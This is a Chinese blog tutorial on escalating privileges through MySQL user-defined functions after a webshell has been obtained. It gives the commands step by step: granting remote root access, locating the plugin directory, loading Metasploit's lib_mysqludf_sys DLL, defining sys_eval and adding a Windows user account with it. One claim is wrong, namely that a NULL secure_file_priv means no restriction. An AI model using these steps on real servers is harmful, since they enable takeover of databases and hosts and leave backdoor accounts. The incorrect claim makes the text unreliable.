天天看點

MySQL提權之UDF

MySQL提權之UDF

1.什麼是UDF

UDF(user defined function),即 “使用者自定義函數”。是通過添加新函數,對MySQL的功能進行擴充,性質就像使用本地MYSQL函數如abs()或concat()

2.UDF提權思路

1.将udf檔案放到指定位置(Mysql>5.1放在Mysql根目錄的lib\plugin檔案夾下)

2.從udf檔案中引入自定義函數(user defined function)

3.執行自定義函數

注:udf 檔案可以通過msf擷取,msf内置了mysql udf提權的dll檔案,linux的則為so檔案。

3.UDF提權步驟

在實戰中我們得到了伺服器的webshell的權限後當通過其他方式提權失敗後,可以考慮通過翻閱資料庫配置檔案、存儲檔案、暴力破解等方式擷取資料庫高權限賬号密碼為,MySQL UDF提取做準備。

3.1 MySQL提權條件:

1)擷取到對方mysql的shell,或者是擷取到mysql賬号密碼,能夠調用mysql語句

2)對方mysql具有insert和delete權限,也就是可寫可删除添加能夠建立目錄,寫入檔案驗證是否可寫(滿足條件的基本上是root使用者了)

3.2 執行步驟

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '密碼' WITH GRANT OPTION;
//通過蟻劍連上webshell後輸入資料庫的賬号密碼連上資料庫,若資料庫不支援外連則通過上述資料開啟外連
注:root使用者預設不支援外連,通過該語句開啟資料外連
           
MySQL提權之UDF
show global variables like 'secure%';
可以通過資料庫外連工具連接配接mysql,通過如下查詢語句查詢是否允許寫入
           
MySQL提權之UDF

注:當secure_file_priv的值為NULL時,表示不對mysqld 的導入或導出做限制。

關于secure_file_priv 參數的具體說明可以參考:secure_file_priv參數說明

select version()    #檢視資料庫版本
//判斷資料庫版本主要是為了将udf.dll導入到哪個目錄
//Mysql>5.1版本:udf.dll檔案必須放置于MYSQL安裝目錄下的lib\plugin檔案夾下
           
MySQL提權之UDF
select @@basedir    #檢視資料庫安裝目錄
//通過安裝目錄可以用webshell定位MySQL安裝目錄進而找到建立plugin目錄
           
MySQL提權之UDF
版本大于5.1 故建立plugin目錄
           
MySQL提權之UDF
可以通過msf的/usr/share/metasploit-framework/data/exploits/mysql目錄擷取已經寫好的dll檔案
注:dll或so為分為32位跟64位,且so用于linux中的udf提權,dll用于windows中的udf提權
           
MySQL提權之UDF
複制32位的dll檔案到plugin目錄(測試環境為64位的windows,64位系統相容32位的dll)
           
MySQL提權之UDF
create function sys_eval returns string soname 'lib_mysqludf_sys_32.dll';
//建立sys_eval執行函數
           
MySQL提權之UDF
select sys_eval ("net user  test 123,abc /add")
//執行指令
           
MySQL提權之UDF

繼續閱讀